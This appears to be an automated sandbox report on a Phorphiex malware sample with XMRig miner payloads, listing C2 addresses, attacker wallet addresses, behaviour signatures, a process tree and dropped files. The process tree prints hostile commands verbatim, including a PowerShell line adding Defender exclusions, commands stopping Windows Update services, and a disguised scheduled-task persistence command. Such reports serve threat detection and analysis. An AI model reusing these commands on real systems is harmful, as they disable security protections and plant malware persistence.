Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/11/2024, 02:20

General

  • Target
    b014f479c70d22623b1a3826e16d70abc750c9103c6597d623ab4183124130f3.exe
  • Size 4.5MB
  • Sample241111-csj9batmfq
  • SHA256 b014f479c70d22623b1a3826e16d70abc750c9103c6597d623ab4183124130f3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • phorphiex

C2
  • http://185.215.113.66/

  • http://91.202.233.141/

Wallets
  • 0xCa90599132C4D88907Bd8E046540284aa468a035

  • TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6

  • qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

  • XryzFMFVpDUvU7famUGf214EXD3xNUSmQf

  • rsXCXBf9SagxV8JfC12d8Bybk84oPdMNN9

  • AULzfBuUAPfCGAXoG5Vq14aP9s6fx3AH4Z

  • LTK4xdKPAgFHPLan8kriAD7eY4heyy73mB

  • MP8GEm8QpYgQYaMo8oM5NQhRBgDGiLZW5Q

  • 4BB7ckkaPTyADc8trtuwDoZxywaR4eNL5cDJ3KBjq9GraN4mUFztf7mLS7WgT7Bh7uPqpjvA4ypVwXKCJ1vvLWWAFvSmDoD

  • 15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC

  • 1BzmrjmKPKSR2hH5BeJySfiVA676E8DYaK

  • ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp

  • 3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc

  • 3ESHude8zUHksQg1h6hHmzY79BS36L91Yn

  • DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA

  • t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh

  • stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj

  • bnb1msyt0djx4ecspfxg5en0ye465kg3kmv9utzml2

  • bc1ppypcmu3684n648gyj62gjp2rw0xy7w3vwfamatlg29ajp4z52desafa0sr

  • bc1qc9edl4hzl9jyt8twdad3zjeh2df2znq96tdezd

Attributes
  • mutex

    mmn7nnm8na

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

Extracted

Family
  • phorphiex

C2
  • http://185.215.113.84

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Phorphiex family
  • Phorphiex payload 1 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 53 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3548
      • C:\Users\Admin\AppData\Local\Temp\b014f479c70d22623b1a3826e16d70abc750c9103c6597d623ab4183124130f3.exe
        "C:\Users\Admin\AppData\Local\Temp\b014f479c70d22623b1a3826e16d70abc750c9103c6597d623ab4183124130f3.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4176
        • C:\Users\Admin\AppData\Local\Temp\A23B.exe
          "C:\Users\Admin\AppData\Local\Temp\A23B.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5100
          • C:\Users\Admin\AppData\Local\Temp\127219754.exe
            C:\Users\Admin\AppData\Local\Temp\127219754.exe
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2828
            • C:\Windows\sysppvrdnvs.exe
              C:\Windows\sysppvrdnvs.exe
              5⤵
              • Modifies security service
              • Windows security bypass
              • Checks computer location settings
              • Executes dropped EXE
              • Windows security modification
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3248
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:2604
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3280
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
                6⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3084
                • C:\Windows\SysWOW64\sc.exe
                  sc stop UsoSvc
                  7⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:4508
                • C:\Windows\SysWOW64\sc.exe
                  sc stop WaaSMedicSvc
                  7⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:3456
                • C:\Windows\SysWOW64\sc.exe
                  sc stop wuauserv
                  7⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:3984
                • C:\Windows\SysWOW64\sc.exe
                  sc stop DoSvc
                  7⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:2532
                • C:\Windows\SysWOW64\sc.exe
                  sc stop BITS /wait
                  7⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:3760
              • C:\Users\Admin\AppData\Local\Temp\412432786.exe
                C:\Users\Admin\AppData\Local\Temp\412432786.exe
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1956
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2168
                  • C:\Windows\system32\reg.exe
                    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                    8⤵
                      PID:448
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                    7⤵
                    • Suspicious use of WriteProcessMemory
                    PID:216
                    • C:\Windows\system32\schtasks.exe
                      schtasks /delete /f /tn "Windows Upgrade Manager"
                      8⤵
                        PID:1348
                  • C:\Users\Admin\AppData\Local\Temp\2142223847.exe
                    C:\Users\Admin\AppData\Local\Temp\2142223847.exe
                    6⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:4824
                  • C:\Users\Admin\AppData\Local\Temp\2512715163.exe
                    C:\Users\Admin\AppData\Local\Temp\2512715163.exe
                    6⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:3976
                    • C:\Users\Admin\AppData\Local\Temp\2310911154.exe
                      C:\Users\Admin\AppData\Local\Temp\2310911154.exe
                      7⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1160
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1792
          • C:\Windows\System32\schtasks.exe
            C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
            2⤵
              PID:3108
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3508
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe
              2⤵
                PID:4032
              • C:\Windows\System32\dwm.exe
                C:\Windows\System32\dwm.exe
                2⤵
                  PID:3208
              • C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
                "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
                1⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:4276

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    powershell.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 3KB
                    • SHA256 dbd4136bc342e3e92902ec3a30d165452c82997a7ae24ac90775e42d88959e6b
                    • MD5 SHA1 SHA512

                    1[1]

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\H6N4U6J0\1[1]
                    • Size 108KB
                    • SHA256 84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02
                    • MD5 SHA1 SHA512 SSDEEP

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 18KB
                    • SHA256 3ce2dad7b2cb55344b9abd0954bf8866c65128477bf5a75c55089e657fdf2c63
                    • MD5 SHA1 SHA512 SSDEEP

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 342ce7c39bf9992d31d4b61ef138b2b084c96c74736ed00bb19aae49be16ca02
                    • MD5 SHA1 SHA512

                    127219754.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\127219754.exe
                    • Size 83KB
                    • SHA256 9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d
                    • MD5 SHA1 SHA512 SSDEEP

                    2142223847.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\2142223847.exe
                    • Size 15KB
                    • SHA256 981d724feebc36777e99513dc061d1f009e589f965c920797285c46d863060d1
                    • MD5 SHA1 SHA512 SSDEEP

                    2310911154.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\2310911154.exe
                    • Size 5.6MB
                    • SHA256 1753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256
                    • MD5 SHA1 SHA512 SSDEEP

                    2512715163.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\2512715163.exe
                    • Size 10KB
                    • SHA256 a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744
                    • MD5 SHA1 SHA512 SSDEEP

                    412432786.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\412432786.exe
                    • Size 8KB
                    • SHA256 5850892f67f85991b31fc90f62c8b7791afeb3c08ae1877d857aa2b59471a2ea
                    • MD5 SHA1 SHA512 SSDEEP

                    A23B.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\A23B.exe
                    • Size 9KB
                    • SHA256 feb4c3ae4566f0acbb9e0f55417b61fefd89dc50a4e684df780813fb01d61278
                    • MD5 SHA1 SHA512 SSDEEP

                    __PSScriptPolicyTest_eigzds2r.nwc.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eigzds2r.nwc.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512

                    Montserrat-Regular.eot

                    • Path C:\Users\Admin\AppData\Local\Temp\mediaget-installer-tmp\Montserrat-Regular.eot
                    • Size 314KB
                    • SHA256 057bc6c47c47aaccdf31adc48a6b401f6090a02c28e354099eff80907dc2af32
                    • MD5 SHA1 SHA512 SSDEEP

                    preloader.html

                    • Path C:\Users\Admin\AppData\Local\Temp\mediaget-installer-tmp\preloader.html
                    • Size 687B
                    • SHA256 0271d97e4e245364c5c52e66d95baf24b3e00c1c8ea6e2b0da59291115cb6087
                    • MD5 SHA1 SHA512

                    memory/1160-137-0x00007FF7C49E0000-0x00007FF7C4F77000-memory.dmp

                    memory/1792-123-0x000001B1F0470000-0x000001B1F0492000-memory.dmp

                    memory/1956-97-0x0000000000A50000-0x0000000000A56000-memory.dmp

                    memory/3208-156-0x000001E079AD0000-0x000001E079AF0000-memory.dmp

                    memory/3208-158-0x00007FF664F50000-0x00007FF66573F000-memory.dmp

                    memory/3208-160-0x00007FF664F50000-0x00007FF66573F000-memory.dmp

                    memory/3208-162-0x00007FF664F50000-0x00007FF66573F000-memory.dmp

                    memory/3208-169-0x00007FF664F50000-0x00007FF66573F000-memory.dmp

                    memory/3208-173-0x00007FF664F50000-0x00007FF66573F000-memory.dmp

                    memory/3208-175-0x00007FF664F50000-0x00007FF66573F000-memory.dmp

                    memory/3208-177-0x00007FF664F50000-0x00007FF66573F000-memory.dmp

                    memory/3280-55-0x0000000006740000-0x000000000678C000-memory.dmp

                    memory/3280-67-0x0000000006CE0000-0x0000000006CFE000-memory.dmp

                    memory/3280-76-0x0000000007D70000-0x0000000007D8A000-memory.dmp

                    memory/3280-75-0x0000000007C80000-0x0000000007C94000-memory.dmp

                    memory/3280-74-0x0000000007C70000-0x0000000007C7E000-memory.dmp

                    memory/3280-73-0x0000000007C50000-0x0000000007C61000-memory.dmp

                    memory/3280-72-0x0000000007CB0000-0x0000000007D46000-memory.dmp

                    memory/3280-71-0x0000000007AB0000-0x0000000007ABA000-memory.dmp

                    memory/3280-70-0x0000000007A30000-0x0000000007A4A000-memory.dmp

                    memory/3280-69-0x00000000080E0000-0x000000000875A000-memory.dmp

                    memory/3280-68-0x0000000007900000-0x00000000079A3000-memory.dmp

                    memory/3280-77-0x0000000007D50000-0x0000000007D58000-memory.dmp

                    memory/3280-56-0x00000000076C0000-0x00000000076F2000-memory.dmp

                    memory/3280-57-0x000000006CEC0000-0x000000006CF0C000-memory.dmp

                    memory/3280-39-0x0000000005190000-0x00000000051C6000-memory.dmp

                    memory/3280-40-0x0000000005800000-0x0000000005E28000-memory.dmp

                    memory/3280-54-0x0000000006710000-0x000000000672E000-memory.dmp

                    memory/3280-53-0x0000000006140000-0x0000000006494000-memory.dmp

                    memory/3280-41-0x0000000005770000-0x0000000005792000-memory.dmp

                    memory/3280-43-0x00000000060D0000-0x0000000006136000-memory.dmp

                    memory/3280-42-0x0000000006060000-0x00000000060C6000-memory.dmp

                    memory/4032-159-0x00007FF69FDB0000-0x00007FF69FDD9000-memory.dmp

                    memory/4032-157-0x00007FF69FDB0000-0x00007FF69FDD9000-memory.dmp

                    memory/4276-155-0x00007FF7D0B20000-0x00007FF7D10B7000-memory.dmp